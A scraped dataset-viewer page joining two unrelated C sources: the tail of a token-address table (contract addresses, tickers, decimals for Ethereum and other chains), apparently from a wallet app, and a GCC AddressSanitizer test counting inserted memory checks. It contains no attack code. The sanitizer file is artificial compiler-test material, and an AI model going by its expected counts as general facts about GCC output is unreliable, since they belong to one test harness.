{{0x39,0xBb,0x25,0x9F,0x66,0xE1,0xC5,0x9d,0x5A,0xBE,0xF8,0x83,0x75,0x97,0x9b,0x4D,0x20,0xD9,0x80,0x22}, "WAX ", 8},
{{0x74,0x95,0x1B,0x67,0x7d,0xe3,0x2D,0x59,0x6E,0xE8,0x51,0xA2,0x33,0x33,0x69,0x26,0xe6,0xA2,0xcd,0x09}, "WBA ", 7},
{{0x6a,0x0a,0x97,0xe4,0x7d,0x15,0xaa,0xd1,0xd1,0x32,0xa1,0xac,0x79,0xa4,0x80,0xe3,0xf2,0x07,0x90,0x63}, "WCT ", 18},
{{0x84,0x0f,0xe7,0x5a,0xbf,0xad,0xc0,0xf2,0xd5,0x40,0x37,0x82,0x95,0x71,0xb2,0x78,0x2e,0x91,0x9c,0xe4}, "WEB ", 18},
{{0xC0,0x2a,0xaA,0x39,0xb2,0x23,0xFE,0x8D,0x0A,0x0e,0x5C,0x4F,0x27,0xeA,0xD9,0x08,0x3C,0x75,0x6C,0xc2}, "WETH ", 18},
{{0xf4,0xfe,0x95,0x60,0x38,0x81,0xd0,0xe0,0x79,0x54,0xfd,0x76,0x05,0xe0,0xe9,0xa9,0x16,0xe4,0x2c,0x44}, "WHEN ", 18},
{{0xe9,0x33,0xc0,0xCd,0x97,0x84,0x41,0x4d,0x5F,0x27,0x8C,0x11,0x49,0x04,0xF5,0xA8,0x4b,0x39,0x69,0x19}, "WHO ", 18},
{{0x62,0xcd,0x07,0xd4,0x14,0xec,0x50,0xb6,0x8c,0x7e,0xca,0xa8,0x63,0xa2,0x3d,0x34,0x4f,0x2d,0x06,0x2f}, "WIC ", 0},
{{0xD3,0xC0,0x07,0x72,0xB2,0x4D,0x99,0x7A,0x81,0x22,0x49,0xca,0x63,0x7a,0x92,0x1e,0x81,0x35,0x77,0x01}, "WILD ", 18},
{{0x89,0x93,0x38,0xb8,0x4d,0x25,0xac,0x50,0x5a,0x33,0x2a,0xdc,0xe7,0x40,0x2d,0x69,0x7d,0x94,0x74,0x94}, "WIN ", 8},
{{0x66,0x70,0x88,0xb2,0x12,0xce,0x3d,0x06,0xa1,0xb5,0x53,0xa7,0x22,0x1E,0x1f,0xD1,0x90,0x00,0xd9,0xaF}, "WINGS ", 18},
{{0x1b,0x22,0xc3,0x2c,0xd9,0x36,0xcb,0x97,0xc2,0x8c,0x56,0x90,0xa0,0x69,0x5a,0x82,0xab,0xf6,0x88,0xe6}, "WISH ", 18},
{{0xF6,0xB5,0x5a,0xcB,0xBC,0x49,0xf4,0x52,0x4A,0xa4,0x8D,0x19,0x28,0x1A,0x9A,0x77,0xc5,0x4D,0xE1,0x0f}, "WLK ", 18},
{{0xbf,0xbe,0x53,0x32,0xf1,0x72,0xd7,0x78,0x11,0xbc,0x6c,0x27,0x28,0x44,0xf3,0xe5,0x4a,0x7b,0x23,0xbb}, "WMK ", 18},
{{0xd7,0x3A,0x66,0xB8,0xFB,0x26,0xBe,0x8B,0x0A,0xcD,0x7c,0x52,0xBd,0x32,0x50,0x54,0xAc,0x7d,0x46,0x8b}, "WNK ", 18},
{{0x72,0x87,0x81,0xE7,0x57,0x35,0xdc,0x09,0x62,0xDf,0x3a,0x51,0xd7,0xEf,0x47,0xE7,0x98,0xA7,0x10,0x7E}, "WOLK ", 18},
{{0xa6,0x86,0x51,0x4f,0xaf,0x7d,0x54,0x28,0x92,0x66,0xf4,0x83,0xd1,0xe4,0x85,0x2c,0x99,0xe1,0x3e,0xc7}, "WORK ", 8},
{{0x4C,0xF4,0x88,0x38,0x7F,0x03,0x5F,0xF0,0x8c,0x37,0x15,0x15,0x56,0x2C,0xBa,0x71,0x2f,0x90,0x15,0xd4}, "WPR ", 18},
{{0x72,0xad,0xad,0xb4,0x47,0x78,0x4d,0xd7,0xab,0x1f,0x47,0x24,0x67,0x75,0x0f,0xc4,0x85,0xe4,0xcb,0x2d}, "WRC ", 6},
{{0x71,0xe8,0xd7,0x4f,0xf1,0xc9,0x23,0xe3,0x69,0xd0,0xe7,0x0d,0xfb,0x09,0x86,0x66,0x29,0xc4,0xdd,0x35}, "WRK ", 18},
{{0xb7,0xcb,0x1c,0x96,0xdb,0x6b,0x22,0xb0,0xd3,0xd9,0x53,0x6e,0x01,0x08,0xd0,0x62,0xbd,0x48,0x8f,0x74}, "WTC ", 18},
{{0x84,0x11,0x9c,0xb3,0x3e,0x8f,0x59,0x0d,0x75,0xc2,0xd6,0xea,0x4e,0x6b,0x07,0x41,0xa7,0x49,0x4e,0xda}, "WTT ", 0},
{{0xd8,0x95,0x0f,0xDe,0xaa,0x10,0x30,0x4B,0x7A,0x7F,0xd0,0x3a,0x2F,0xC6,0x6B,0xC3,0x9f,0x3c,0x71,0x1a}, "WYS ", 18},
{{0x05,0x60,0x17,0xc5,0x5a,0xE7,0xAE,0x32,0xd1,0x2A,0xeF,0x7C,0x67,0x9d,0xF8,0x3A,0x85,0xca,0x75,0xFf}, "WYV ", 18},
{{0x28,0x6B,0xDA,0x14,0x13,0xa2,0xDf,0x81,0x73,0x1D,0x49,0x30,0xce,0x2F,0x86,0x2a,0x35,0xA6,0x09,0xfE}, "WaBi ", 18},
{{0x5e,0x4A,0xBE,0x64,0x19,0x65,0x0C,0xA8,0x39,0xCe,0x5B,0xB7,0xDb,0x42,0x2b,0x88,0x1a,0x60,0x64,0xbB}, "WiC ", 18},
{{0x91,0x0D,0xfc,0x18,0xD6,0xEA,0x3D,0x6a,0x71,0x24,0xA6,0xF8,0xB5,0x45,0x8F,0x28,0x10,0x60,0xfa,0x4c}, "X8X ", 18},
{{0x4D,0xF8,0x12,0xF6,0x06,0x4d,0xef,0x1e,0x5e,0x02,0x9f,0x1c,0xa8,0x58,0x77,0x7C,0xC9,0x8D,0x2D,0x81}, "XAUR ", 8},
{{0x49,0xae,0xc0,0x75,0x2e,0x68,0xd0,0x28,0x2d,0xb5,0x44,0xc6,0x77,0xf6,0xba,0x40,0x7b,0xa1,0x7e,0xd7}, "XBL ", 18},
{{0x28,0xde,0xe0,0x1d,0x53,0xfe,0xd0,0xed,0xf5,0xf6,0xe3,0x10,0xbf,0x8e,0xf9,0x31,0x15,0x13,0xae,0x40}, "XBP ", 18},
{{0x4d,0x82,0x9f,0x8c,0x92,0xa6,0x69,0x1c,0x56,0x30,0x0d,0x02,0x0c,0x9e,0x0d,0xb9,0x84,0xcf,0xe2,0xba}, "XCC ", 18},
{{0x1e,0x26,0xb3,0xd0,0x7e,0x57,0xf4,0x53,0xca,0xe3,0x0f,0x7d,0xdd,0x2f,0x94,0x5f,0x5b,0xf3,0xef,0x33}, "XCLR ", 8},
{{0x41,0xab,0x1b,0x6f,0xcb,0xb2,0xfa,0x9d,0xce,0xd8,0x1a,0xcb,0xde,0xc1,0x3e,0xa6,0x31,0x5f,0x2b,0xf2}, "XDCE ", 18},
{{0xa0,0x17,0xac,0x5f,0xac,0x59,0x41,0xf9,0x50,0x10,0xb1,0x25,0x70,0xb8,0x12,0xc9,0x74,0x46,0x9c,0x2c}, "XES ", 18},
{{0x05,0x4c,0x64,0x74,0x1d,0xba,0xfd,0xc1,0x97,0x84,0x50,0x54,0x94,0x02,0x98,0x23,0xd8,0x9c,0x3b,0x13}, "XET ", 8},
{{0x16,0xaF,0x5b,0xfb,0x4A,0xe7,0xE4,0x75,0xb9,0xaD,0xC3,0xBf,0x5C,0xb2,0xf1,0xE6,0xa5,0x0d,0x79,0x40}, "XFS ", 8},
{{0xf6,0xb6,0xaa,0x0e,0xf0,0xf5,0xed,0xc2,0xc1,0xc5,0xd9,0x25,0x47,0x7f,0x97,0xea,0xf6,0x63,0x03,0xe7}, "XGG ", 8},
{{0x53,0x3e,0xf0,0x98,0x4b,0x2F,0xAA,0x22,0x7A,0xcC,0x62,0x0C,0x67,0xcc,0xe1,0x2a,0xA3,0x9C,0xD8,0xCD}, "XGM ", 8},
{{0x30,0xf4,0xA3,0xe0,0xaB,0x7a,0x76,0x73,0x3D,0x8b,0x60,0xb8,0x9D,0xD9,0x3c,0x3D,0x0b,0x4c,0x9E,0x2f}, "XGT ", 18},
{{0xB1,0x10,0xeC,0x7B,0x1d,0xcb,0x8F,0xAB,0x8d,0xED,0xbf,0x28,0xf5,0x3B,0xc6,0x3e,0xA5,0xBE,0xdd,0x84}, "XID ", 8},
{{0x44,0x44,0x9F,0xa4,0xd6,0x07,0xF8,0x07,0xd1,0xeD,0x4a,0x69,0xad,0x94,0x29,0x71,0x72,0x83,0x91,0xC8}, "XMCT ", 18},
{{0x0f,0x8c,0x45,0xb8,0x96,0x78,0x4a,0x1e,0x40,0x85,0x26,0xb9,0x30,0x05,0x19,0xef,0x86,0x60,0x20,0x9c}, "XMX ", 8},
{{0xBC,0x86,0x72,0x7E,0x77,0x0d,0xe6,0x8B,0x10,0x60,0xC9,0x1f,0x6B,0xB6,0x94,0x5c,0x73,0xe1,0x03,0x88}, "XNK ", 18},
{{0xab,0x95,0xe9,0x15,0xc1,0x23,0xfd,0xed,0x5b,0xdf,0xb6,0x32,0x5e,0x35,0xef,0x55,0x15,0xf1,0xea,0x69}, "XNN ", 18},
{{0x57,0x2e,0x6f,0x31,0x80,0x56,0xba,0x0c,0x5d,0x47,0xa4,0x22,0x65,0x31,0x13,0x84,0x3d,0x25,0x06,0x91}, "XNT ", 0},
{{0x15,0x3e,0xd9,0xcc,0x1b,0x79,0x29,0x79,0xd2,0xbd,0xe0,0xbb,0xf4,0x5c,0xc2,0xa7,0xe4,0x36,0xa5,0xf9}, "XOV ", 18},
{{0x90,0x52,0x8a,0xeb,0x3a,0x2b,0x73,0x6b,0x78,0x0f,0xd1,0xb6,0xc4,0x78,0xbb,0x7e,0x1d,0x64,0x31,0x70}, "XPA ", 18},
{{0xBB,0x1f,0xA4,0xFd,0xEB,0x34,0x59,0x73,0x3b,0xF6,0x7E,0xbC,0x6f,0x89,0x30,0x03,0xfA,0x97,0x6a,0x82}, "XPAT ", 18},
{{0xB2,0x47,0x54,0xbE,0x79,0x28,0x15,0x53,0xdc,0x1a,0xdC,0x16,0x0d,0xdF,0x5C,0xd9,0xb7,0x43,0x61,0xa4}, "XRL ", 9},
{{0x0F,0x51,0x3f,0xFb,0x49,0x26,0xff,0x82,0xD7,0xF6,0x0A,0x05,0x06,0x90,0x47,0xAc,0xA2,0x95,0xC4,0x13}, "XSC ", 18},
{{0x55,0x29,0x6f,0x69,0xf4,0x0e,0xa6,0xd2,0x0e,0x47,0x85,0x33,0xc1,0x5a,0x6b,0x08,0xb6,0x54,0xe7,0x58}, "XYO ", 18},
{{0x92,0x21,0x05,0xfa,0xd8,0x15,0x3f,0x51,0x6b,0xcf,0xb8,0x29,0xf5,0x6d,0xc0,0x97,0xa0,0xe1,0xd7,0x05}, "YEE ", 18},
{{0xca,0x27,0x96,0xf9,0xf6,0x1d,0xc7,0xb2,0x38,0xaa,0xb0,0x43,0x97,0x1e,0x49,0xc6,0x16,0x4d,0xf3,0x75}, "YEED ", 18},
{{0xcb,0xea,0xec,0x69,0x94,0x31,0x85,0x7f,0xdb,0x4d,0x37,0xad,0xdb,0xbd,0xc2,0x0e,0x13,0x2d,0x49,0x03}, "YOYOW ", 18},
{{0xd9,0xa1,0x2c,0xde,0x03,0xa8,0x6e,0x80,0x04,0x96,0x46,0x98,0x58,0xde,0x85,0x81,0xd3,0xa5,0x35,0x3d}, "YUP ", 18},
{{0x0F,0x33,0xbb,0x20,0xa2,0x82,0xA7,0x64,0x9C,0x7B,0x3A,0xFf,0x64,0x4F,0x08,0x4a,0x93,0x48,0xe9,0x33}, "YUPIE ", 18},
{{0x67,0x81,0xa0,0xf8,0x4c,0x7e,0x9e,0x84,0x6d,0xcb,0x84,0xa9,0xa5,0xbd,0x49,0x33,0x30,0x67,0xb1,0x04}, "ZAP ", 18},
{{0xb9,0xEF,0x77,0x0B,0x6A,0x5e,0x12,0xE4,0x59,0x83,0xC5,0xD8,0x05,0x45,0x25,0x8a,0xA3,0x8F,0x3B,0x78}, "ZCN ", 10},
{{0x20,0x08,0xe3,0x05,0x7b,0xd7,0x34,0xe1,0x0a,0xd1,0x3c,0x9e,0xae,0x45,0xff,0x13,0x2a,0xbc,0x17,0x22}, "ZCO ", 8},
{{0x05,0xf4,0xa4,0x2e,0x25,0x1f,0x2d,0x52,0xb8,0xed,0x15,0xE9,0xFE,0xdA,0xac,0xFc,0xEF,0x1F,0xAD,0x27}, "ZIL ", 12},
{{0x4a,0xac,0x46,0x1c,0x86,0xab,0xfa,0x71,0xe9,0xd0,0x0d,0x9a,0x2c,0xde,0x8d,0x74,0xe4,0xe1,0xae,0xea}, "ZINC ", 18},
{{0xa9,0xd2,0x92,0x7d,0x3a,0x04,0x30,0x9e,0x00,0x8b,0x6a,0xf6,0xe2,0xe2,0x82,0xae,0x29,0x52,0xe7,0xfd}, "ZIP ", 18},
{{0xed,0xd7,0xc9,0x4f,0xd7,0xb4,0x97,0x1b,0x91,0x6d,0x15,0x06,0x7b,0xc4,0x54,0xb9,0xe1,0xba,0xd9,0x80}, "ZIPT ", 18},
{{0xfd,0x89,0x71,0xd5,0xe8,0xe1,0x74,0x0c,0xe2,0xd0,0xa8,0x40,0x95,0xfc,0xa4,0xde,0x72,0x9d,0x0c,0x16}, "ZLA ", 18},
{{0x55,0x4f,0xfc,0x77,0xf4,0x25,0x1a,0x9f,0xb3,0xc0,0xe3,0x59,0x0a,0x6a,0x20,0x5f,0x8d,0x4e,0x06,0x7d}, "ZMN ", 18},
{{0xb5,0xb8,0xf5,0x61,0x6f,0xe4,0x2d,0x5c,0xec,0xa3,0xe8,0x7f,0x3f,0xdd,0xbd,0xd8,0xf4,0x96,0xd7,0x60}, "ZPR ", 18},
{{0xE4,0x1d,0x24,0x89,0x57,0x1d,0x32,0x21,0x89,0x24,0x6D,0xaF,0xA5,0xeb,0xDe,0x1F,0x46,0x99,0xF4,0x98}, "ZRX ", 18},
{{0x7A,0x41,0xe0,0x51,0x7a,0x5e,0xcA,0x4F,0xdb,0xC7,0xFb,0xeb,0xA4,0xD4,0xc4,0x7B,0x9f,0xF6,0xDC,0x63}, "ZSC ", 18},
{{0xe3,0x86,0xb1,0x39,0xed,0x37,0x15,0xca,0x4b,0x18,0xfd,0x52,0x67,0x1b,0xdc,0xea,0x1c,0xdf,0xe4,0xb1}, "ZST ", 8},
{{0xE8,0xF9,0xfa,0x97,0x7e,0xa5,0x85,0x59,0x1d,0x9F,0x39,0x46,0x81,0x31,0x8C,0x16,0x55,0x25,0x77,0xfB}, "ZTX ", 18},
{{0x83,0xe2,0xbe,0x8d,0x11,0x4f,0x96,0x61,0x22,0x13,0x84,0xb3,0xa5,0x0d,0x24,0xb9,0x6a,0x56,0x53,0xf5}, "ZXC ", 18},
{{0xab,0xC1,0x28,0x0A,0x01,0x87,0xa2,0x02,0x0c,0xC6,0x75,0x43,0x7a,0xed,0x40,0x01,0x85,0xF8,0x6D,0xb6}, "SAC ", 18},
{{0xf3,0xC0,0x92,0xcA,0x8C,0xD6,0xD3,0xd4,0xca,0x00,0x4D,0xc1,0xd0,0xf1,0xfe,0x8C,0xcA,0xB5,0x35,0x99}, "ZIX ", 18},
};
const tokenDefinition_t const TOKENS_ELLAISM[NUM_TOKENS_ELLAISM] = {
{{0x99,0x1e,0x7f,0xe4,0xb0,0x5f,0x2b,0x3d,0xb1,0xd7,0x88,0xe7,0x05,0x96,0x3f,0x5d,0x64,0x7b,0x00,0x44}, "MINING", 18},
};
const tokenDefinition_t const TOKENS_ETHEREUM_CLASSIC[NUM_TOKENS_ETHEREUM_CLASSIC] = {
{{0x6F,0x6D,0xEb,0x5d,0xb0,0xC4,0x99,0x4A,0x82,0x83,0xA0,0x1D,0x6C,0xFe,0xEB,0x27,0xFc,0x3b,0xBe,0x9C}, "Smart ", 0},
{{0x08,0x5f,0xb4,0xf2,0x40,0x31,0xea,0xed,0xbc,0x2b,0x61,0x1a,0xa5,0x28,0xf2,0x23,0x43,0xeb,0x52,0xdb}, "BEC ", 8},
{{0x5a,0xce,0x17,0xf8,0x7c,0x73,0x91,0xe5,0x79,0x2a,0x76,0x83,0x06,0x9a,0x80,0x25,0xb8,0x3b,0xbd,0x85}, "PLAY ", 0},
{{0x6A,0xDa,0x6F,0x48,0xC8,0x15,0x68,0x95,0x02,0xC4,0x3e,0xC1,0xa5,0x9F,0x1b,0x5D,0xD3,0xC0,0x4E,0x1F}, "UNV ", 18},
};
const tokenDefinition_t const TOKENS_ETHERSOCIAL[NUM_TOKENS_ETHERSOCIAL] = {};
const tokenDefinition_t const TOKENS_ETHER1[NUM_TOKENS_ETHER1] = {};
const tokenDefinition_t const TOKENS_PIRL[NUM_TOKENS_PIRL] = {};
const tokenDefinition_t const TOKENS_POA[NUM_TOKENS_POA] = {};
const tokenDefinition_t const TOKENS_RSK[NUM_TOKENS_RSK] = {};
const tokenDefinition_t const TOKENS_UBIQ[NUM_TOKENS_UBIQ] = {
{{0xd2,0x45,0x20,0x7c,0xfb,0xf6,0xeb,0x6f,0x34,0x97,0x0d,0xb2,0xa8,0x07,0xab,0x1d,0x17,0x8f,0xde,0x6c}, "APX ", 8},
{{0xff,0x3b,0xf0,0x57,0xad,0xf3,0xb0,0xe0,0x15,0xb6,0x46,0x53,0x31,0xa6,0x23,0x6e,0x55,0x68,0x82,0x74}, "BEER ", 0},
{{0x08,0x53,0x3d,0x6a,0x06,0xce,0x36,0x52,0x98,0xb1,0x2e,0xf9,0x2e,0xb4,0x07,0xcb,0xa8,0xaa,0x82,0x73}, "CEFS ", 8},
{{0x94,0xad,0x7e,0x41,0xc1,0xd4,0x40,0x22,0xc4,0xf4,0x7c,0xb1,0xba,0x01,0x9f,0xd1,0xa0,0x22,0xc5,0x36}, "DOT ", 8},
{{0x4b,0x48,0x99,0xa1,0x0f,0x3e,0x50,0x7d,0xb2,0x07,0xb0,0xee,0x24,0x26,0x02,0x9e,0xfa,0x16,0x8a,0x67}, "QWARK ", 8},
{{0x5e,0x17,0x15,0xbb,0x79,0x80,0x5b,0xd6,0x72,0x72,0x97,0x60,0xb3,0xf7,0xf3,0x4d,0x6f,0x48,0x50,0x98}, "RICKS ", 8},
};
const tokenDefinition_t const TOKENS_EXPANSE[NUM_TOKENS_EXPANSE] = {};
const tokenDefinition_t const TOKENS_WANCHAIN[NUM_TOKENS_WANCHAIN] = {};
const tokenDefinition_t const TOKENS_KUSD[NUM_TOKENS_KUSD] = {};
const tokenDefinition_t const TOKENS_MUSICOIN[NUM_TOKENS_MUSICOIN] = {};
const tokenDefinition_t const TOKENS_CALLISTO[NUM_TOKENS_CALLISTO] = {};
const tokenDefinition_t const TOKENS_ETHERGEM[NUM_TOKENS_ETHERGEM] = {};
const tokenDefinition_t const TOKENS_ATHEIOS[NUM_TOKENS_ATHEIOS] = {};
const tokenDefinition_t const TOKENS_GOCHAIN[NUM_TOKENS_GOCHAIN] = {};
const tokenDefinition_t const TOKENS_MIX[NUM_TOKENS_MIX] = {};
const tokenDefinition_t const TOKENS_REOSC[NUM_TOKENS_REOSC] = {};
const tokenDefinition_t const TOKENS_HPB[NUM_TOKENS_HPB] = {};
const tokenDefinition_t const TOKENS_TOMOCHAIN[NUM_TOKENS_TOMOCHAIN] = {};
const tokenDefinition_t const TOKENS_TOBALABA[NUM_TOKENS_TOBALABA] = {};
const tokenDefinition_t const TOKENS_XEROM[NUM_TOKENS_XEROM] = {};
#endif
|
the_stack_data/82611.c
|
/* { dg-options "-fdump-tree-sanopt" } */
/* { dg-do compile } */
/* { dg-skip-if "" { *-*-* } { "*" } { "-O0" } } */
char
foo (int *a, char *b, char *c)
{
/* One check for b[0], one check for a[]. */
__builtin_memmove (c, b, a[b[0]]);
/* One check for c[0], one check for a[]. */
__builtin_memmove (b, c, a[c[0]]);
/* No checks here. */
return c[0] + b[0];
/* For a total of 4 checks. */
}
/* { dg-final { scan-tree-dump-times "& 7" 4 "sanopt" } } */
/* { dg-final { scan-tree-dump-times "__builtin___asan_report_load1" 2 "sanopt" } } */
/* { dg-final { scan-tree-dump-times "__builtin___asan_report_load4" 2 "sanopt" } } */
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.